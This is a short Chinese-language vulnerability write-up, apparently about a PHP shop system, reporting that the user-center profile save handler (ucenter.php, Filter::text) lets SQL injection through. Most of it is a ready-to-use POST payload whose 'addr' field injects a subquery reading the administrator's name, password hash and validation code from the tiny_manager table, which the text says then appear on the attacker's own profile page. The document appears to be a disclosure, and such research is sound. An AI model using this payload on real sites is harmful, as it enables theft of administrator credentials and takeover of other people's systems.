问题出现在/protected/controllers/ucenter.php中:
我们跟一下Filter::text:
跟进发现text函数并没有对sql注入进行过滤,问题就出现了。
http://localhost/index.php?con=ucenter&act=info_save
POST内容:
[email protected]&real_name=test&sex=1&birthday=2014-08-29&mobile=13712345678&phone=3123123&province=130000&city=130200&county=130202&addr=11111231231,`addr`=(select concat(name,0x5f,password,0x5f,validcode) from tiny_manager) #
看看sql执行:

然后我们点击自己的个人资料:

管理员的账号,密码hash和验证码都有了